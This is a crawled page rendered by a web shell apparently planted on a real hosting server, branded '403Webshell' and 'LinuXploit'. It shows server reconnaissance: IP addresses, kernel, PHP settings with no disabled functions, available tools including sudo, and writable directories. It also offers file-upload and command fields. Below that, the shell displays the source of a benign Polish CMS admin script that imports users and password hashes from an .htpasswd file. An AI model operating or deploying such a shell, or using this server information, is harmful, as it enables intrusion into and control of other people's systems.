403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /test2.famaresto/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /test2.famaresto/admin/import_htpasswd.php
<?php
require_once __DIR__ . '/../inc/auth.php';
cms_require_admin();

$msg = '';
$err = '';
$stats = null;

function cms_detect_hash_fields(string $hash): array {
  $hash = trim($hash);
  if (preg_match('/^\$2[aby]\$/', $hash) || strpos($hash, '$argon2') === 0) return ['pass_hash' => $hash];
  if (strpos($hash, '$apr1$') === 0) return ['pass_apr1' => $hash];
  if (preg_match('/^\$1\$|^\$5\$|^\$6\$/', $hash)) return ['pass_crypt' => $hash];
  if (strpos($hash, '{SHA}') === 0) return ['pass_sha1' => $hash];
  if (preg_match('/^[a-f0-9]{32}$/i', $hash)) return ['pass_md5' => strtolower($hash)];
  return [];
}

$defaultPath = dirname(__DIR__) . '/.htpasswd';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
  if (!cms_check_csrf($_POST['csrf'] ?? null)) {
    $err = 'Błąd CSRF. Odśwież stronę i spróbuj ponownie.';
  } else {
    $path = trim((string)($_POST['path'] ?? $defaultPath));
    $defaultRole = (string)($_POST['role'] ?? 'editor');
    $defaultRole = ($defaultRole === 'admin') ? 'admin' : 'editor';

    // Lista adminów (opcjonalnie)
    $adminsRaw = trim((string)($_POST['admins'] ?? ''));
    $admins = [];
    if ($adminsRaw !== '') {
      foreach (preg_split('/[\s,;]+/', $adminsRaw) as $u) {
        $u = trim($u);
        if ($u !== '') $admins[$u] = true;
      }
    }
    $real = @realpath($path);
    if ($real === false) {
      $err = 'Nieprawidłowa ścieżka.';
    } elseif (!preg_match('~\.htpasswd~i', basename($real))) {
      $err = 'To nie wygląda jak plik .htpasswd: ' . $real;
    } elseif (!is_file($real) || !is_readable($real)) {
      $err = 'Nie mogę odczytać pliku: ' . $real;
    } else {
      $lines = file($real, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
      if ($lines === false) {
        $err = 'Błąd odczytu pliku.';
      } else {
        $data = cms_load_users();
        if (!isset($data['users']) || !is_array($data['users'])) $data['users'] = [];

        $added = 0; $updated = 0; $skipped = 0; $unknown = 0;

        foreach ($lines as $ln) {
          $ln = trim($ln);
          if ($ln === '' || $ln[0] === '#') continue;
          if (strpos($ln, ':') === false) { $skipped++; continue; }
          [$user, $hash] = explode(':', $ln, 2);
          $user = trim($user);
          $hash = trim($hash);
          if ($user === '' || $hash === '') { $skipped++; continue; }

          $fields = cms_detect_hash_fields($hash);
          if (!$fields) { $unknown++; continue; }

          $role = isset($admins[$user]) ? 'admin' : $defaultRole;

          $found = false;
          foreach ($data['users'] as $i => $u) {
            if (isset($u['username']) && (string)$u['username'] === $user) {
              $data['users'][$i]['role'] = $role;
              foreach ($fields as $k => $v) $data['users'][$i][$k] = $v;
              $found = true;
              $updated++;
              break;
            }
          }

          if (!$found) {
            $rec = ['username' => $user, 'role' => $role, 'created_at' => date('c')];
            foreach ($fields as $k => $v) $rec[$k] = $v;
            $data['users'][] = $rec;
            $added++;
          }
        }

        if (cms_save_json(cms_users_file(), $data)) {
          $msg = 'Import z .htpasswd OK ✔';
          $stats = ['added'=>$added,'updated'=>$updated,'skipped'=>$skipped,'unknown'=>$unknown,'file'=>$real];
        } else {
          $err = 'Nie mogę zapisać users.json (sprawdź prawa do /data).';
        }
      }
    }
  }
}

cms_layout_header('Import z .htpasswd');
?>
<div class="card">
  <h1 style="margin:0 0 10px 0;font-size:20px">Import użytkowników z pliku .htpasswd</h1>
  <div class="muted">
    To pobiera istniejące loginy/hashe z Apache <code>.htpasswd</code> i pozwala logować się do panelu tym samym hasłem.
    Po pierwszym zalogowaniu użytkownika system automatycznie zapisze bezpieczny <code>pass_hash</code>.
  </div>

  <?php if ($msg): ?><div class="msg"><?= cms_h($msg) ?></div><?php endif; ?>
  <?php if ($err): ?><div class="msg" style="background:#fff0f0;border-color:#ffd0d0"><?= cms_h($err) ?></div><?php endif; ?>

  <?php if ($stats): ?>
    <div class="msg">
      Plik: <code><?= cms_h($stats['file']) ?></code><br>
      Dodano: <b><?= (int)$stats['added'] ?></b>, Zaktualizowano: <b><?= (int)$stats['updated'] ?></b>, Pominięto: <b><?= (int)$stats['skipped'] ?></b>, Nieznane hashe: <b><?= (int)$stats['unknown'] ?></b>
    </div>
  <?php endif; ?>

  <form method="post">
    <input type="hidden" name="csrf" value="<?= cms_h(cms_csrf_token()) ?>">

    <table>
      <tr>
        <th style="width:240px">Ścieżka do .htpasswd</th>
        <td><input name="path" value="<?= cms_h($defaultPath) ?>"></td>
      </tr>
      <tr>
        <th>Domyślna rola</th>
        <td>
          <select name="role">
            <option value="editor">editor</option>
            <option value="admin">admin</option>
          </select>
          <div class="muted">Zwykle ustaw <b>editor</b>. Adminów ustaw poniżej.</div>
        </td>
      </tr>
      <tr>
        <th>Użytkownicy z rolą admin</th>
        <td>
          <input name="admins" placeholder="np. jan,kasia">
          <div class="muted">Lista loginów oddzielona spacją/przecinkiem.</div>
        </td>
      </tr>
    </table>

    <div class="actions">
      <button class="btn" type="submit">Importuj z .htpasswd</button>
      <a class="btn secondary" href="/admin/import_users.php" style="text-decoration:none;display:inline-block">Import ręczny</a>
      <a class="btn secondary" href="/admin/users.php" style="text-decoration:none;display:inline-block">Użytkownicy</a>
    </div>
  </form>
</div>
<?php cms_layout_footer();

Youez - 2016 - github.com/yon3zu
LinuXploit